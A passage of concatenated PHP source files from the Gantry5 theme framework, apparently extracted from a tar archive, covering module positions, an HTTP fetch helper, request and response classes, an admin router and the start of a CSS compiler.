    public function listModules()
    {
        $list = [];
        foreach ($this->items as $name) {
            $list[] = "{$this->name}/{$name}";
        }

        return $list;
    }

    /**
     * @param bool $save
     * @return string
     */
    public function folder($save = false)
    {
        return $this->locator()->findResource($this->path(), true,
$save);
    }

    /**
     * @param $data
     */
    protected function load($data)
    {
        if ($data === null) {
            $file = $this->file();
            $data = $file->content();
            $file->free();
        }

        $this->title = isset($data['title']) ?
$data['title'] : $this->name;

        if (isset($data['modules'])) {
            foreach ($data['modules'] as $array) {
                $this->add(new Module($array['id'],
$this->name, $array), $array['id'] ?: rand());
            }

            return;
        }

        // Sort modules by ordering, if items are not listed in ordering,
use alphabetical order.
        $ordering = isset($data['ordering']) ?
array_flip($data['ordering']) : [];
        $path = $this->locator()->findResource($this->path());
        $files = $path ? Folder::all(
            $path,
            [
                'compare' => 'Filename',
                'pattern' => '|\.yaml$|',
                'folders' => false,
                'recursive' => false,
                'key' => 'Filename',
                'filters' => ['key' =>
'|\.yaml$|']
            ]
        ) : [];
        ksort($files);
        $this->items = array_keys($ordering + $files);
    }

    /**
     * @param  string $name
     * @return $this
     */
    protected function loadModule($name)
    {
        return new Module($name, $this->name);
    }

    /**
     * @param bool $save
     * @return CompiledYamlFile
     */
    protected function file($save = false)
    {
        return
CompiledYamlFile::instance($this->locator()->findResource($this->path()
. '.yaml', true, $save));
    }

    /**
     * @return UniformResourceLocator
     */
    protected function locator()
    {
        return Gantry::instance()['locator'];
    }

    /**
     * @return string
     */
    protected function path()
    {
        return "gantry-positions://{$this->name}";
    }

}
Gantry/Component/Position/Positions.php000064400000014456151157471010014272
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Position;

use Gantry\Component\Collection\Collection;
use Gantry\Component\File\CompiledYamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceIterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use RocketTheme\Toolbox\DI\Container;

class Positions extends Collection
{
    /**
     * @var array|Position[]
     */
    protected $items;

    /**
     * @var string
     */
    protected $path;

    /**
     * @var Container
     */
    protected $container;

    public function __construct(Container $container)
    {
        $this->container = $container;
    }

    /**
     * @param string $path
     *
     * @return $this
     * @throws \RuntimeException
     */
    public function load($path = 'gantry-positions://')
    {
        $this->path = $path;
        $positions = [];

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];
        if ($locator->findResource($path)) {
            /** @var UniformResourceIterator $iterator */
            $iterator = $locator->getIterator($path);

            /** @var UniformResourceIterator $info */
            foreach ($iterator as $info) {
                if (!$info->isFile() || $info->getExtension() !==
'yaml') {
                    continue;
                }

                $name = $info->getBasename('.yaml');
                $position =
CompiledYamlFile::instance($info->getPathname())->content();

                // Only use filesystem position if it it is properly set
up.
                if ($position) {
                    $positions[$name] = new Position($name, $position);
                }
            }
        }

        // Add empty positions from the layouts.
        foreach ($this->container['outlines']->positions()
as $name => $title) {
            if (!isset($positions[$name])) {
                $positions[$name] = new Position($name, ['title'
=> $title]);
            }
        }

        ksort($positions);

        $this->items = $positions;

        return $this;
    }

    /**
     * Updates all positions with their modules from an array and saves
them.
     *
     * @param array $data
     * @return $this
     */
    public function import(array $data)
    {
        foreach ($data as $pos) {
            $list = [];
            $position = $pos['name'];
            foreach ($pos['modules'] as $item) {
                $name = !empty($item['id']) ?
$item['id'] : '';

                if ($name && !empty($item['position'])) {
                    $module =
$this[$item['position']]->get($name);

                    if ($position !== $item['position']) {
                        $module->delete();
                    }
                } else {
                    $module = new Module($name, $position);
                }
                $module->update($item)->save($name, $position);

                $list[] = $module;
            }

            $this[$pos['name']]->update($list)->save();
        }

        return $this;
    }

    /**
     * @param Position $item
     * @return $this
     */
    public function add($item)
    {
        if ($item instanceof Position) {
            $this->items[$item->name] = $item;
        }

        return $this;
    }

    /**
     * @param string $title
     * @param string $id
     *
     * @return string
     * @throws \RuntimeException
     */
    public function create($title = 'Untitled', $id = null)
    {
        $name = strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $id ?: $title));

        if (!$name) {
            throw new \RuntimeException("Position needs a name",
400);
        }

        $name = $this->findFreeName($name);

        $position = new Position($name, ['title' => $title]);
        $position->save();

        return $name;
    }

    /**
     * @param string $id
     * @param string $new
     *
     * @return string
     * @throws \RuntimeException
     */
    public function duplicate($id, $new = null)
    {
        if (!isset($this->items[$id])) {
            throw new \RuntimeException(sprintf("Duplicating Position
failed: '%s' not found.", $id), 400);
        }

        $new = $this->findFreeName($new ?
strtolower(preg_replace('|[^a-z\d_-]|ui', '_', $new)) :
$id);

        $position = $this->items[$id];
        $new = $position->duplicate($new);

        return $new->name;
    }

    /**
     * @param string $id
     * @param string $new
     *
     * @return string
     * @throws \RuntimeException
     */
    public function rename($id, $new)
    {
        if (!isset($this->items[$id])) {
            throw new \RuntimeException(sprintf("Renaming Position
failed: '%s' not found.", $id), 400);
        }

        $newId = strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $new));

        if (isset($this->items[$newId])) {
            throw new \RuntimeException(sprintf("Renaming Position
failed: '%s' already exists.", $newId), 400);
        }

        $position = $this->items[$id];
        $position->rename($new);

        return $position->name;
    }

    /**
     * @param string $id
     *
     * @throws \RuntimeException
     */
    public function delete($id)
    {
        if (!isset($this->items[$id])) {
            throw new \RuntimeException(sprintf("Deleting Position
failed: '%s' not found.", $id), 400);
        }

        $position = $this->items[$id];
        $position->delete();
    }

    /**
     * Find unused name with number appended to it when duplicating an
position.
     *
     * @param string $id
     *
     * @return string
     */
    protected function findFreeName($id)
    {
        if (!isset($this->items[$id])) {
            return $id;
        }

        $name  = $id;
        $count = 0;
        if (preg_match('|^(?:_)?(.*?)(?:_(\d+))?$|ui', $id,
$matches)) {
            $matches += ['', '', ''];
            list (, $name, $count) = $matches;
        }

        $count = max(1, $count);

        do {
            $count++;
        } while (isset($this->items["{$name}_{$count}"]));

        return "{$name}_{$count}";
    }
}
Gantry/Component/Remote/Response.php000064400000015615151157471010013526
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Remote;

class Response
{
    /**
     * The callback for the progress
     *
     * @var callable    Either a function or callback in array notation
     */
    public static $callback = null;

    /**
     * Which method to use for HTTP calls, can be 'curl',
'fopen' or 'auto'. Auto is default and fopen is the
preferred method
     *
     * @var string
     */
    private static $method = 'auto';

    /**
     * Default parameters for `curl` and `fopen`
     *
     * @var array
     */
    private static $defaults = [

        'curl'  => [
            CURLOPT_REFERER        => 'Gantry5 Response',
            CURLOPT_USERAGENT      => 'Gantry5 Response',
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT        => 15,
            CURLOPT_HEADER         => false,
            /**
             * Example of callback parameters from within your own class
             */
            //CURLOPT_NOPROGRESS     => false,
            //CURLOPT_PROGRESSFUNCTION => [$this, 'progress']
        ],
        'fopen' => [
            'method'          => 'GET',
            'user_agent'      => 'Gantry5 Response',
            'max_redirects'   => 5,
            'follow_location' => 1,
            'timeout'         => 15,
            /**
             * Example of callback parameters from within your own class
             */
            //'notification' => [$this, 'progress']
        ]
    ];

    /**
     * Sets the preferred method to use for making HTTP calls.
     *
     * @param string $method Default is `auto`
     *
     * @return Response
     */
    public static function setMethod($method = 'auto')
    {
        if (!in_array($method, ['auto', 'curl',
'fopen'])) {
            $method = 'auto';
        }

        self::$method = $method;

        return new self();
    }

    /**
     * Makes a request to the URL by using the preferred method
     *
     * @param  string   $uri     URL to call
     * @param  array    $options An array of parameters for both `curl` and
`fopen`
     * @param  callable $callback
     *
     * @return string The response of the request
     */
    public static function get($uri = '', $options = [],
$callback = null)
    {
        if (!self::isCurlAvailable() && !self::isFopenAvailable())
{
            throw new \RuntimeException('Could not start an HTTP
request. `allow_url_open` is disabled and `cURL` is not available');
        }

        $options = array_replace_recursive(self::$defaults, $options);
        $method  = 'get' . ucfirst(strtolower(self::$method));

        self::$callback = $callback;
        return static::$method($uri, $options, $callback);
    }

    /**
     * Checks if cURL is available
     *
     * @return boolean
     */
    public static function isCurlAvailable()
    {
        return function_exists('curl_version');
    }

    /**
     * Checks if the remote fopen request is enabled in PHP
     *
     * @return boolean
     */
    public static function isFopenAvailable()
    {
        return preg_match('/1|yes|on|true/i',
ini_get('allow_url_fopen'));
    }

    /**
     * Progress normalized for cURL and fopen
     *
     * @return array Normalized array with useful data.
     *               Format: ['code' => int|false,
'filesize' => bytes, 'transferred' => bytes,
'percent' => int]
     */
    public static function progress()
    {
        static $filesize = null;

        $args           = func_get_args();
        $isCurlResource = is_resource($args[0]) &&
get_resource_type($args[0]) == 'curl';

        $notification_code = !$isCurlResource ? $args[0] : false;
        $bytes_transferred = $isCurlResource ? $args[2] : $args[4];

        if ($isCurlResource) {
            $filesize = $args[1];
        } elseif ($notification_code == STREAM_NOTIFY_FILE_SIZE_IS) {
            $filesize = $args[5];
        }

        if ($bytes_transferred > 0) {
            if ($notification_code == STREAM_NOTIFY_PROGRESS |
STREAM_NOTIFY_COMPLETED || $isCurlResource) {

                $progress = [
                    'code'        => $notification_code,
                    'filesize'    => $filesize,
                    'transferred' => $bytes_transferred,
                    'percent'     => $filesize <= 0 ?
'-' : round(($bytes_transferred * 100) / $filesize, 1)
                ];

                if (self::$callback !== null) {
                    call_user_func_array(self::$callback, [$progress]);
                }
            }
        }
    }

    /**
     * Automatically picks the preferred method
     *
     * @return string The response of the request
     */
    private static function getAuto()
    {
        if (self::isFopenAvailable()) {
            return self::getFopen(func_get_args());
        }

        if (self::isCurlAvailable()) {
            return self::getCurl(func_get_args());
        }

        return '';
    }

    /**
     * Starts a HTTP request via fopen
     *
     * @return string The response of the request
     */
    private static function getFopen()
    {
        if (count($args = func_get_args()) == 1) {
            $args = $args[0];
        }

        $uri      = $args[0];
        $options  = $args[1];
        $callback = $args[2];

        if ($callback) {
            $options['fopen']['notification'] =
['self', 'progress'];
        }

        $stream  = stream_context_create(['http' =>
$options['fopen']], $options['fopen']);
        $content = @file_get_contents($uri, false, $stream);

        if ($content === false) {
            throw new \RuntimeException("Error while trying to
download '$uri'");
        }

        return $content;
    }

    /**
     * Starts a HTTP request via cURL
     *
     * @return string The response of the request
     */
    private static function getCurl()
    {
        $args = func_get_args();
        $args = count($args) > 1 ? $args : array_shift($args);

        $uri      = $args[0];
        $options  = $args[1];
        $callback = $args[2];

        $ch = curl_init($uri);
        curl_setopt_array($ch, $options['curl']);

        if ($callback) {
            curl_setopt_array(
                $ch,
                [
                    CURLOPT_NOPROGRESS       => false,
                    CURLOPT_PROGRESSFUNCTION => ['self',
'progress']
                ]
            );
        }

        $response = curl_exec($ch);

        if ($errno = curl_errno($ch)) {
            $error_message = curl_strerror($errno);
            throw new \RuntimeException("cURL error ({$errno}):\n
{$error_message}");
        }

        curl_close($ch);

        return $response;
    }
}
Gantry/Component/Request/Input.php000064400000007016151157471010013220
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Request;

use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;

class Input implements \ArrayAccess, \Iterator, ExportInterface
{
    use NestedArrayAccessWithGetters, Iterator, Export;

    /**
     * @var array
     */
    protected $items;

    /**
     * Constructor to initialize array.
     *
     * @param  array  $items  Initial items inside the iterator.
     */
    public function __construct(array &$items = [])
    {
        $this->items = &$items;
    }

    /**
     * Returns input array. If there are any JSON encoded fields (key:
_json), those will be decoded as well.
     *
     * @param string  $path       Dot separated path to the requested
value.
     * @param mixed   $default    Default value (or null).
     * @param string  $separator  Separator, defaults to '.'
     * @return array
     */
    public function getArray($path = null, $default = null, $separator =
'.')
    {
        $data = $path ? $this->get($path, $default, $separator) :
$this->items;

        return (array) $this->getChildren($data);
    }

    /**
     * Returns JSON decoded input array.
     *
     * @param string  $path       Dot separated path to the requested
value.
     * @param mixed   $default    Default value (or null).
     * @param string  $separator  Separator, defaults to '.'
     * @return array
     */
    public function getJsonArray($path = null, $default = null, $separator
= '.')
    {
        return (array) $this->getJson($path, $default, $separator,
true);
    }

    /**
     * Returns JSON decoded input. Accosiative arrays become objects.
     *
     * @param string|null  $path       Dot separated path to the requested
value.
     * @param mixed        $default    Default value (or null).
     * @param string       $separator  Separator, defaults to '.'
     * @param bool         $assoc      True to return associative arrays
instead of objects.
     * @return mixed
     */
    public function getJson($path = null, $default = null, $separator =
'.', $assoc = false)
    {
        $data = $this->get($path, null, $separator);

        if (!isset($data)) {
            return $default;
        }

        if (!is_string($data)) {
            throw new \RuntimeException(sprintf('%s::%s(%s) expects
input to be JSON encoded string', __CLASS__, __FUNCTION__, $path));
        }

        $data = json_decode($data, $assoc);
        if (!isset($data)) {
            throw new \RuntimeException(sprintf('%s::%s(): %s',
__CLASS__, __FUNCTION__, json_last_error_msg()));
        }

        return $data;
    }

    /**
     * @param $current
     * @return array|mixed
     * @internal
     */
    protected function getChildren(&$current)
    {
        if (!is_array($current)) {
            return $current;
        }
        $array = [];
        foreach ($current as $key => &$value) {
            if ($key === '_json') {
                $array += json_decode($value, true);
            } else {
                $array[$key] = $this->getChildren($value);
            }
        }

        return $array;
    }
}
Gantry/Component/Request/Request.php000064400000002740151157471010013550
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Request;

class Request
{
    /**
     * @var string
     */
    protected $method;

    /**
     * @var Input
     */
    public $get;

    /**
     * @var Input
     */
    public $post;

    /**
     * @var Input
     */
    public $cookie;

    /**
     * @var Input
     */
    public $server;

    /**
     * @var Input
     */
    public $request;

    public function __construct()
    {
        $this->init();
    }

    public function getMethod()
    {
        if (!$this->method) {
            $method = $this->server['REQUEST_METHOD'] ?:
'GET';
            if ('POST' === $method) {
                $method =
$this->server['X-HTTP-METHOD-OVERRIDE'] ?: $method;
                $method = $this->post['METHOD'] ?: $method;
            }
            $this->method = strtoupper($method);
        }

        return $this->method;
    }

    protected function init()
    {
        $this->get = new Input($_GET);
        $this->post = new Input($_POST);
        $this->cookie = new Input($_COOKIE);
        $this->server = new Input($_SERVER);
        $this->request = new Input($_REQUEST);
    }
}
Gantry/Component/Response/HtmlResponse.php000064400000000701151157471010014704
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Response;

class HtmlResponse extends Response
{
}
Gantry/Component/Response/JsonResponse.php000064400000007147151157471010014724
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Response;

class JsonResponse extends Response
{
    public $mimeType = 'application/json';

    protected $success = true;
    protected $message;
    protected $exceptions = [];
    protected $messages = [];
    protected $content = [];

    /**
     * @param string $content
     * @param bool $success
     * @return $this
     */
    public function setContent($content, $success = true)
    {
        $this->success = (bool) $success;

        if (is_array($content)) {
            foreach ($content as $key => $value) {
                $this->parseValue($key, $value);
            }
        } else {
            $this->parseValue(null, $content);
        }

        return $this;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        // Empty output buffer to make sure that the response is clean and
valid.
        while (($output = ob_get_clean()) !== false) {
            // In debug mode send also output buffers (debug dumps, PHP
notices and warnings).
            if ($output && (GANTRY5_DEBUG || headers_sent())) {
                $this->messages['php'][] = $output;
            }
        }

        $json = [
            'code' => $this->code,
            'success' => $this->success
        ];
        if ($this->messages) {
            $json['messages'] = $this->messages;
        }
        if ($this->exceptions) {
            $json['exceptions'] = $this->exceptions;
        }
        if (GANTRY5_DEBUG) {
            $json['memory'] = ['peak' =>
memory_get_peak_usage(), 'current' => memory_get_usage()];
        }
        $json += $this->content;

        return (string) json_encode($json);
    }

    protected function parseValue($key, $value)
    {
        if ($value instanceof \Exception) {
            // Prepare the error response if we are dealing with an error.
            $this->success = false;
            $this->exceptions = $this->parseException($value);

        } elseif ($value instanceof HtmlResponse) {
            // Add HTML response (numeric keys are always integers).
            $key =  !$key || is_int($key) ? 'html' : $key;
            $this->content[$key] = trim((string) $value);

        } elseif (is_null($key)) {
            // If the returned value was not an array, put the contents
into data variable.
            $this->content['data'] = $value;

        } elseif (is_int($key)) {
            // If the key was an integer, also put the contents into data
variable.
            $this->content['data'][$key] = $value;

        } else {
            $this->content[$key] = $value;
        }
    }

    protected function parseException(\Exception $e)
    {
        $this->code = $e->getCode();

        // Build data from exceptions.
        $exceptions = [];

        do {
            $exception = [
                'code' => $e->getCode(),
                'message' => $e->getMessage()
            ];

            if (GANTRY5_DEBUG) {
                $exception += [
                    'type' => get_class($e),
                    'file' => $e->getFile(),
                    'line' => $e->getLine()
                ];
            }

            $exceptions[] = $exception;
            $e = $e->getPrevious();
        }
        while (GANTRY5_DEBUG && $e);

        return $exceptions;
    }
}
Gantry/Component/Response/RedirectResponse.php000064400000001467151157471010015553
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Response;

class RedirectResponse extends Response
{
    public function __construct($content = '', $status = 303)
    {
        parent::__construct('', $status);

        $this->setHeader('Location', $content);
    }

    public function getContent()
    {
        return (string) $this->getHeaders()['Location'];
    }

    public function setContent($content)
    {
        $this->setHeader('Location', $content);
    }
}
Gantry/Component/Response/Response.php000064400000010313151157471010014057
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Response;

class Response
{
    public $charset = 'utf-8';
    public $mimeType = 'text/html';

    protected $code = 200;
    protected $message = 'OK';
    protected $lifetime = 0;
    protected $etag;

    /**
     * @var array Response headers.
     */
    protected $headers = [];

    /**
     * @var string Response body.
     */
    protected $content;

    protected $responseCodes = [
        200 => 'OK',
        400 => 'Bad Request',
        401 => 'Unauthorized',
        403 => 'Forbidden',
        404 => 'Not Found',
        405 => 'Method Not Allowed',
        410 => 'Gone',
        500 => 'Internal Server Error',
        501 => 'Not Implemented',
        503 => 'Service Temporarily Unavailable'
    ];

    public function __construct($content = '', $status = 200)
    {
        if ($content) {
            $this->setContent($content);
        }

        if ($status != 200) {
            $this->setStatusCode($status);
        }
    }

    /**
     * @param int $seconds
     * @return $this
     */
    public function setLifetime($seconds)
    {
        $this->lifetime = $seconds;

        return $this;
    }

    /**
     * @param mixed $key
     * @return $this
     */
    public function setKey($key)
    {
        $this->etag = md5(json_encode($key));

        return $this;
    }

    /**
     * @return int
     */
    public function getStatusCode()
    {
        return $this->code;
    }

    /**
     * @param int $code
     * @param string $message
     * @return $this
     */
    public function setStatusCode($code, $message = null)
    {
        if ($message) {
            $this->code = $code;
            $this->message = $message;
        } else {
            $this->code = isset($this->responseCodes[$code]) ? (int)
$code : 500;
            $this->message = $this->responseCodes[$this->code];
        }

        return $this;
    }

    /**
     * @return string
     */
    public function getStatus()
    {
        $code = $this->getStatusCode();

        return $code . ' ' .
(isset($this->responseCodes[$code]) ? $this->responseCodes[$code] :
'Unknown error');
    }

    /**
     * @return array
     */
    public function getHeaders()
    {
        return $this->headers;
    }

    /**
     * @param array $headers
     * @param bool $replace
     * @return $this
     */
    public function setHeaders(array $headers, $replace = false)
    {
        foreach ($headers as $key => $values) {
            $act = $replace;
            foreach ((array) $values as $value) {
                $this->setHeader($key, $value, $act);
                $act = false;
            }
        }

        return $this;
    }

    /**
     * @return $this
     */
    public function clearHeaders()
    {
        $this->headers = [];

        return $this;
    }

    /**
     * @param $name
     * @param $value
     * @param bool $replace
     * @return $this
     */
    public function setHeader($name, $value, $replace = false)
    {
        if ($replace) {
            $this->headers[$name] = [$value];
        } else {
            $this->headers[$name][] = $value;
        }

        return $this;
    }

    /**
     * @return string
     */
    public function getContent()
    {
        return (string) $this->content;
    }

    /**
     * @param string $content
     * @return Response
     * @throws \UnexpectedValueException
     */
    public function setContent($content) {
        if ($content !== null && !is_string($content) &&
!is_numeric($content) && !is_callable([$content,
'__toString'])) {
            throw new \UnexpectedValueException(
                sprintf('Content must be a string or object
implementing __toString()')
            );
        }
        $this->content = $content;

        return $this;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return (string) $this->content;
    }
}
Gantry/Component/Router/Router.php000064400000012471151157471010013232
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Router;

use Gantry\Admin\EventListener;
use Gantry\Admin\Theme;
use Gantry\Component\Controller\BaseController;
use Gantry\Component\Response\HtmlResponse;
use Gantry\Component\Response\Response;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Services\ErrorServiceProvider;
use RocketTheme\Toolbox\DI\Container;
use RocketTheme\Toolbox\Event\EventDispatcher;
use Whoops\Exception\ErrorException;

abstract class Router implements RouterInterface
{
    /**
     * @var Container
     */
    protected $container;

    protected $format;
    protected $resource;
    protected $method;
    protected $path;
    protected $params;

    public function __construct(Container $container)
    {
        $this->container = $container;
    }

    public function dispatch()
    {
        $this->boot();

        $this->load();

        // Render the page or execute the task.
        try {
            $response = static::execute($this->resource,
$this->method, $this->path, $this->params, $this->format);

        } catch (ErrorException $e) {
            throw $e;

        } catch (\Exception $e) {
            // Handle errors.
            if ($this->container->debug()) {
                throw $e;
            }
            $response = $this->getErrorResponse($e, $this->format ==
'json');
        }

        return $this->send($response);
    }

    public function execute($resource, $method = 'GET', $path,
$params = [], $format = 'html')
    {
        $class = '\\Gantry\\Admin\\Controller\\' .
ucfirst($format) . '\\' . strtr(ucwords(strtr($resource,
'/', ' ')), ' ', '\\');

        // Protect against CSRF Attacks.
        if (!in_array($method, ['GET', 'HEAD'], true)
&& !$this->checkSecurityToken()) {
            throw new \RuntimeException('Invalid security token;
please reload the page and try again.', 403);
        }

        if (!class_exists($class)) {
            if ($format === 'json') {
                // Special case: All HTML requests can be returned also as
JSON.
                $response = $this->execute($resource, $method, $path,
$params, 'html');
                return $response instanceof JsonResponse ? $response : new
JsonResponse($response);
            }

            throw new \RuntimeException('Page Not Found', 404);
        }

        /** @var BaseController $controller */
        $controller = new $class($this->container);

        // Execute action.
        $response = $controller->execute($method, $path, $params);

        if (!$response instanceof Response) {
            $response = new HtmlResponse($response);
        }

        return $response;
    }

    /**
     * @return $this
     */
    abstract protected function boot();

    abstract protected function checkSecurityToken();

    /**
     * @return $this
     */
    public function load()
    {
        static $loaded = false;

        if ($loaded) {
            return $this;
        }

        $loaded = true;

        if (isset($this->container['theme.path']) &&
file_exists($this->container['theme.path'] .
'/includes/gantry.php')) {
            include $this->container['theme.path'] .
'/includes/gantry.php';
        }

        if (isset($this->container['theme'])) {
            // Initialize current theme if it is set.
            $this->container['theme'];
        } else {
            // Otherwise initialize streams and error handler manually.
            $this->container['streams']->register();
            $this->container->register(new ErrorServiceProvider);
        }

        $this->container['admin.theme'] = function () {
            return new Theme(GANTRYADMIN_PATH);
        };

        // Add event listener.
        if (class_exists('Gantry\\Admin\\EventListener')) {
            $listener = new EventListener;

            /** @var EventDispatcher $events */
            $events = $this->container['events'];
            $events->addSubscriber($listener);
        }

        // Boot the service.
        $this->container['admin.theme'];

        return $this;
    }

    protected function getErrorResponse(\Exception $e, $json = false)
    {
        $response = new HtmlResponse;
        $response->setStatusCode($e->getCode());

        $params = [
            'ajax' => $json,
            'title' => $response->getStatus(),
            'error' => $e,
        ];
       
$response->setContent($this->container['admin.theme']->render('@gantry-admin/error.html.twig',
$params));

        if ($json) {
            return new JsonResponse([$e, $response]);
        }

        return $response;
    }

    protected function send(Response $response) {
        // Output HTTP header.
        header("HTTP/1.1 {$response->getStatus()}", true,
$response->getStatusCode());
        header("Content-Type: {$response->mimeType};
charset={$response->charset}");
        foreach ($response->getHeaders() as $key => $values) {
            foreach ($values as $value) {
                header("{$key}: {$value}");
            }
        }

        echo $response;

        return true;
    }
}
Gantry/Component/Router/RouterInterface.php000064400000000725151157471010015052
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Router;

interface RouterInterface
{
    public function dispatch();
}
Gantry/Component/Stylesheet/CssCompiler.php000064400000023161151157471010015044
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Stylesheet;

use Gantry\Component\Config\Config;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Framework\Gantry;
use Leafo\ScssPhp\Colors;
use RocketTheme\Toolbox\File\PhpFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

abstract class CssCompiler implements CssCompilerInterface
{
    use GantryTrait;

    protected $type;

    protected $name;

    protected $debug = false;

    protected $warnings = [];

    /**
     * @var array
     */
    protected $fonts;

    /**
     * @var array
     */
    protected $variables;

    /**
     * @var string
     */
    protected $target = 'gantry-theme://css-compiled';

    /**
     * @var string
     */
    protected $configuration = 'default';

    /**
     * @var array
     */
    protected $paths;

    /**
     * @var array
     */
    protected $files;

    /**
     * @var mixed
     */
    protected $compiler;

    /**
     * @var bool
     */
    protected $production;

    public function __construct()
    {
        $gantry = static::gantry();

        /** @var Config $global */
        $global = $gantry['global'];

        // In production mode we do not need to do any other checks.
        $this->production = (bool)
$global->get('production');
    }

    public function getWarnings()
    {
        return $this->warnings;
    }

    /**
     * @return string
     */
    public function getTarget()
    {
        return $this->target;
    }

    /**
     * @param string $target
     * @return $this
     */
    public function setTarget($target = null)
    {
        if ($target !== null) {
            $this->target = (string) $target;
        }

        return $this;
    }

    /**
     * @param string $configuration
     * @return $this
     */
    public function setConfiguration($configuration = null)
    {
        if ($configuration !== null) {
            $this->configuration = $configuration;
        }

        return $this;
    }

    /**
     * @param array $fonts
     * @return $this
     */
    public function setFonts(array $fonts = null)
    {
        if ($fonts !== null) {
            // Normalize font data.
            $list = [];
            foreach ($fonts as $family => $data) {
                $family = strtolower($family);

                if (is_array($data)) {
                    // font: [400: url1, 500: url2, 700: url3]
                    $list[$family] = $data;
                } else {
                    // font: url
                    $list[$family] = [400 => (string) $data];
                }
            }
            $this->compiler->setFonts($list);
        }

        return $this;
    }

    /**
     * @param array $paths
     * @return $this
     */
    public function setPaths(array $paths = null)
    {
        if ($paths !== null) {
            $this->paths = $paths;
        }

        return $this;
    }

    /**
     * @param array $files
     * @return $this
     */
    public function setFiles(array $files = null)
    {
        if ($files !== null) {
            $this->files = $files;
        }

         return $this;
    }


    /**
     * @param string $name
     * @return string
     */
    public function getCssUrl($name)
    {
